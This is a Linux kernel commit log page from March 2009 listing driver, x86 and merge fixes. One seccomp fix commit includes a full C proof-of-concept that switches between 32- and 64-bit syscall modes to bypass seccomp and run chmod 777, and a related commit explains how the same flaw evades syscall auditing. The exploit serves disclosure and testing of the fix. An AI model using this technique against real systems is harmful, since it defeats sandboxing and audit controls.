Skip to content
  1. Mar 03, 2009
    • Tim Blechmann's avatar
      x86: oprofile: don't set counter width from cpuid on Core2 · 780eef94
      Tim Blechmann authored
      
      
      Impact: fix stuck NMIs and non-working oprofile on certain CPUs
      
      Resetting the counter width of the performance counters on Intel's
      Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode.
      
      This should fix bug #12395:
      
        http://bugzilla.kernel.org/show_bug.cgi?id=12395
      
      Signed-off-by: default avatarTim Blechmann <tim@klingt.org>
      Signed-off-by: default avatarRobert Richter <robert.richter@amd.com>
      LKML-Reference: <20090303100412.GC10085@erda.amd.com>
      Cc: <stable@kernel.org>
      Signed-off-by: default avatarIngo Molnar <mingo@elte.hu>
      780eef94
    • Yinghai Lu's avatar
      x86: fix init_memory_mapping() to handle small ranges · 0fc59d3a
      Yinghai Lu authored
      
      
      Impact: fix failed EFI bootup in certain circumstances
      
      Ying Huang found init_memory_mapping() has problem with small ranges
      less than 2M when he tried to direct map the EFI runtime code out of
      max_low_pfn_mapped.
      
      It turns out we never considered that case and didn't check the range...
      
      Reported-by: default avatarYing Huang <ying.huang@intel.com>
      Signed-off-by: default avatarYinghai Lu <yinghai@kernel.org>
      Cc: Brian Maly <bmaly@redhat.com>
      LKML-Reference: <49ACDDED.1060508@kernel.org>
      Signed-off-by: default avatarIngo Molnar <mingo@elte.hu>
      0fc59d3a
    • Linus Torvalds's avatar
      Revert "menu: fix embedded menu snafu" · 2450cf51
      Linus Torvalds authored
      This reverts commit 155b25bc
      
      , which was
      totally wrong - the "embedded" options still exists (very much so) even
      on non-embedded platforms.
      
      It's just that we don't bother with actually asking about them when
      we're not embedded, we just take their default values (which is usually
      'y' - the options add features that may not be worth it in a constrained
      environment).
      
      Noticed-by: default avatarAndrew Morton <akpm@linux-foundation.org>
      Cc: Randy Dunlap <randy.dunlap@oracle.com>
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      2450cf51
    • Linus Torvalds's avatar
      Merge branch 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6 · 43e40707
      Linus Torvalds authored
      * 'drm-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/airlied/drm-2.6:
        drm/i915: Fix use-before-null-check in i915_irq_emit().
        drm: Avoid client deadlocks when the master disappears.
        drm: Wake up all lock waiters when the master disappears.
        drm: Don't return ERESTARTSYS to user-space.
      43e40707
    • Eric Anholt's avatar
      drm/i915: Fix use-before-null-check in i915_irq_emit(). · 299eb93c
      Eric Anholt authored
      
      
      This could be triggered by a client asking to emit an irq when the device
      wasn't initialized.
      
      Signed-off-by: default avatarEric Anholt <eric@anholt.net>
      Signed-off-by: default avatarDave Airlie <airlied@linux.ie>
      299eb93c
    • Thomas Hellstrom's avatar
      drm: Avoid client deadlocks when the master disappears. · fda714c2
      Thomas Hellstrom authored
      
      
      This is done by
      1) Wake up lock waiters when we close the master file descriptor.
         Not when the master structure is removed, since the latter
         requires the waiters themselves to release the refcount on the
         master structure -> Deadlock.
      2) Send a SIGTERM to all clients waiting for the lock.
         Normally these clients will get a SIGPIPE when the X server dies,
         but clients may also spin trying to grab the DRM lock, without
         getting any sort of notification.
      
      Signed-off-by: default avatarThomas Hellstrom <thellstrom@vmware.com>
      Signed-off-by: default avatarDave Airlie <airlied@linux.ie>
      fda714c2
    • Thomas Hellstrom's avatar
      drm: Wake up all lock waiters when the master disappears. · 171901d1
      Thomas Hellstrom authored
      
      
      Currently only one waiter is woken up, leaving other waiters
      hanging waiting for the DRM lock.
      
      Signed-off-by: default avatarThomas Hellstrom <thellstrom@vmware.com>
      Signed-off-by: default avatarDave Airlie <airlied@linux.ie>
      171901d1
    • Thomas Hellstrom's avatar
      drm: Don't return ERESTARTSYS to user-space. · 4d77c88e
      Thomas Hellstrom authored
      
      
      That return code is for in-kernel use only.
      Use EINTR instead.
      
      Signed-off-by: default avatarThomas Hellstrom <thellstrom@vmware.com>
      Signed-off-by: default avatarDave Airlie <airlied@linux.ie>
      4d77c88e
    • Randy Dunlap's avatar
      menu: fix embedded menu snafu · 155b25bc
      Randy Dunlap authored
      
      
      The COMPAT_BRK kconfig symbol does not depend on EMBEDDED, but it is in
      the midst of the EMBEDDED menu symbols, so it mucks up the EMBEDDED
      menu.  Fix by moving it to just after all of the EMBEDDED menu symbols.
      
      Also, surround all of the EMBEDDED symbols with "if EMBEDDED"/"endif" so
      that this EMBEDDED block is clearer.
      
      Signed-off-by: default avatarRandy Dunlap <randy.dunlap@oracle.com>
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      155b25bc
    • Linus Torvalds's avatar
      Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc · d86a1c3d
      Linus Torvalds authored
      * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/drzeus/mmc:
        sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip
        sdhci: Add quirk for controllers with no end-of-busy IRQ
      d86a1c3d
    • Linus Torvalds's avatar
      Merge branch 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6 · bd5e89c8
      Linus Torvalds authored
      * 'fix/hda' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6:
        ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268
        ALSA: hda - Add quirk for new HP xw series
        ALSA: hda - Fix digital mic on dell-m4-1 and dell-m4-3
      bd5e89c8
    • Linus Torvalds's avatar
      Merge branch 'x86-fixes-for-linus' of... · 2d44947a
      Linus Torvalds authored
      Merge branch 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
      
      * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip:
        fix warning in io_mapping_map_wc()
        x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
      2d44947a
    • Linus Torvalds's avatar
      Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6 · 359aa09b
      Linus Torvalds authored
      * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-2.6: (29 commits)
        zaurus: add usb id for motomagx phones
        usbnet: make usbnet_get_link() fall back to ethtool_op_get_link()
        veth: Fix carrier detect
        cdc_ether: add usb id for Ericsson F3507g
        r8169: read MAC address from EEPROM on init (2nd attempt)
        tcp: fix retrans_out leaks
        net headers: export dcbnl.h
        net headers: cleanup dcbnl.h
        netpoll: Add drop checks to all entry points
        gianfar: Do right check on num_txbdfree
        pkt_sched: sch_drr: Fix oops in drr_change_class.
        b44: Disable device on shutdown
        b44: Unconditionally enable interrupt routing on reset
        net: fix hp-plus build error
        libertas: fix misuse of netdev_priv() and dev->ml_priv
        ipv6: don't use tw net when accounting for recycled tw
        asix: new device ids
        tcp_scalable: Update malformed & dead url
        netfilter: xt_recent: fix proc-file addition/removal of IPv4 addresses
        netxen: handle pci bar 0 mapping failure
        ...
      359aa09b
    • Linus Torvalds's avatar
      Merge branch 'for-linus' of... · c742b4bf
      Linus Torvalds authored
      Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6
      
      * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6:
        selinux: Fix a panic in selinux_netlbl_inode_permission()
      c742b4bf
    • Karsten Keil's avatar
      Change email address · fbfd8b56
      Karsten Keil authored
      
      
      Since I will loose the old address soon, please change it.
      
      Signed-off-by: default avatarKarsten Keil <kkeil@linux-pingi.de>
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      fbfd8b56
    • Linus Torvalds's avatar
      Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input · 6b3bf204
      Linus Torvalds authored
      * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input:
        Input: elantech - touchpad driver miss-recognising logitech mice
        Input: synaptics - ensure we reset the device on resume
        Input: usbtouchscreen - fix eGalax HID ignoring
        Input: ambakmi - fix timeout handling in amba_kmi_write()
        Input: pxa930_trkball - fix write timeout handling
        Input: struct device - replace bus_id with dev_name(), dev_set_name()
        Input: bf54x-keys - fix debounce time validation
        Input: spitzkbd - mark probe function as __devinit
        Input: omap-keypad - mark probe function as __devinit
        Input: corgi_ts - mark probe function as __devinit
        Input: corgikbd - mark probe function as __devinit
        Input: uvc - the button on the camera is KEY_CAMERA
        Input: psmouse - make MOUSE_PS2_LIFEBOOK depend on X86
        Input: atkbd - make forced_release_keys[] static
        Input: usbtouchscreen - allow reporting calibrated data
      6b3bf204
    • Linus Torvalds's avatar
      Merge branch 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4 · 36b31106
      Linus Torvalds authored
      * 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4:
        ext4: don't call jbd2_journal_force_commit_nested without journal
        ext4: Reorder fs/Makefile so that ext2 root fs's are mounted using ext2
        ext4: Remove duplicate call to ext4_commit_super() in ext4_freeze()
      36b31106
    • Linus Torvalds's avatar
      Merge git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6 · 7b88ed67
      Linus Torvalds authored
      * git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6:
        [SCSI] mpt: fix disable lsi sas to use msi as default
        [SCSI] fix ABORTED_COMMAND looping forever problem
        [SCSI] sd: revive sd_index_lock
        [SCSI] cxgb3i: update the driver version to 1.0.1
        [SCSI] cxgb3i: Fix spelling errors in documentation
        [SCSI] cxgb3i: added missing include in cxgb3i_ddp.h
        [SCSI] cxgb3i: Outgoing pdus need to observe skb's MAX_SKB_FRAGS
        [SCSI] cxgb3i: added per-task data to track transmit progress
        [SCSI] cxgb3i: transmit work-request fixes
        [SCSI] hptiop: Add new PCI device ID
      7b88ed67
    • Roland McGrath's avatar
      x86-64: seccomp: fix 32/64 syscall hole · 5b101740
      Roland McGrath authored
      
      
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
      the wrong system call number table.  The fix is simple: test TS_COMPAT
      instead of TIF_IA32.  Here is an example exploit:
      
      	/* test case for seccomp circumvention on x86-64
      
      	   There are two failure modes: compile with -m64 or compile with -m32.
      
      	   The -m64 case is the worst one, because it does "chmod 777 ." (could
      	   be any chmod call).  The -m32 case demonstrates it was able to do
      	   stat(), which can glean information but not harm anything directly.
      
      	   A buggy kernel will let the test do something, print, and exit 1; a
      	   fixed kernel will make it exit with SIGKILL before it does anything.
      	*/
      
      	#define _GNU_SOURCE
      	#include <assert.h>
      	#include <inttypes.h>
      	#include <stdio.h>
      	#include <linux/prctl.h>
      	#include <sys/stat.h>
      	#include <unistd.h>
      	#include <asm/unistd.h>
      
      	int
      	main (int argc, char **argv)
      	{
      	  char buf[100];
      	  static const char dot[] = ".";
      	  long ret;
      	  unsigned st[24];
      
      	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
      	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
      
      	#ifdef __x86_64__
      	  assert ((uintptr_t) dot < (1UL << 32));
      	  asm ("int $0x80 # %0 <- %1(%2 %3)"
      	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
      	  ret = snprintf (buf, sizeof buf,
      			  "result %ld (check mode on .!)\n", ret);
      	#elif defined __i386__
      	  asm (".code32\n"
      	       "pushl %%cs\n"
      	       "pushl $2f\n"
      	       "ljmpl $0x33, $1f\n"
      	       ".code64\n"
      	       "1: syscall # %0 <- %1(%2 %3)\n"
      	       "lretl\n"
      	       ".code32\n"
      	       "2:"
      	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
      	  if (ret == 0)
      	    ret = snprintf (buf, sizeof buf,
      			    "stat . -> st_uid=%u\n", st[7]);
      	  else
      	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
      	#else
      	# error "not this one"
      	#endif
      
      	  write (1, buf, ret);
      
      	  syscall (__NR_exit, 1);
      	  return 2;
      	}
      
      Signed-off-by: default avatarRoland McGrath <roland@redhat.com>
      [ I don't know if anybody actually uses seccomp, but it's enabled in
        at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      5b101740
    • Roland McGrath's avatar
      x86-64: syscall-audit: fix 32/64 syscall hole · ccbe495c
      Roland McGrath authored
      
      
      On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
      ljmp, and then use the "syscall" instruction to make a 64-bit system
      call.  A 64-bit process make a 32-bit system call with int $0x80.
      
      In both these cases, audit_syscall_entry() will use the wrong system
      call number table and the wrong system call argument registers.  This
      could be used to circumvent a syscall audit configuration that filters
      based on the syscall numbers or argument details.
      
      Signed-off-by: default avatarRoland McGrath <roland@redhat.com>
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      ccbe495c
    • Andres Salomon's avatar
      sdhci: Add NO_BUSY_IRQ quirk for Marvell CAFE host chip · a0874897
      Andres Salomon authored
      As described here: http://lkml.org/lkml/2009/2/20/265
      
      The CAFE chip is broken due to commit e809517f
      
      .
      Anton added a quirk here: http://lkml.org/lkml/2009/2/20/279 that fixes
      CAFE's problem.  This adds the quirk for CAFE.
      
      Signed-off-by: default avatarAndres Salomon <dilinger@debian.org>
      Signed-off-by: default avatarPierre Ossman <drzeus@drzeus.cx>
      a0874897
    • Ben Dooks's avatar
      sdhci: Add quirk for controllers with no end-of-busy IRQ · f945405c
      Ben Dooks authored
      The Samsung SDHCI (and FSL eSDHC) controller block seems to fail
      to generate an INT_DATA_END after the transfer has completed and
      the bus busy state finished.
      
      Changes in e809517f
      
       to use the
      new busy method are the cause of the behaviour change.
      
      Signed-off-by: default avatarBen Dooks <ben-linux@fluff.org>
      Signed-off-by: default avatarAnton Vorontsov <avorontsov@ru.mvista.com>
      Signed-off-by: default avatarPierre Ossman <drzeus@drzeus.cx>
      f945405c
  2. Mar 02, 2009
  3. Mar 01, 2009
  4. Feb 28, 2009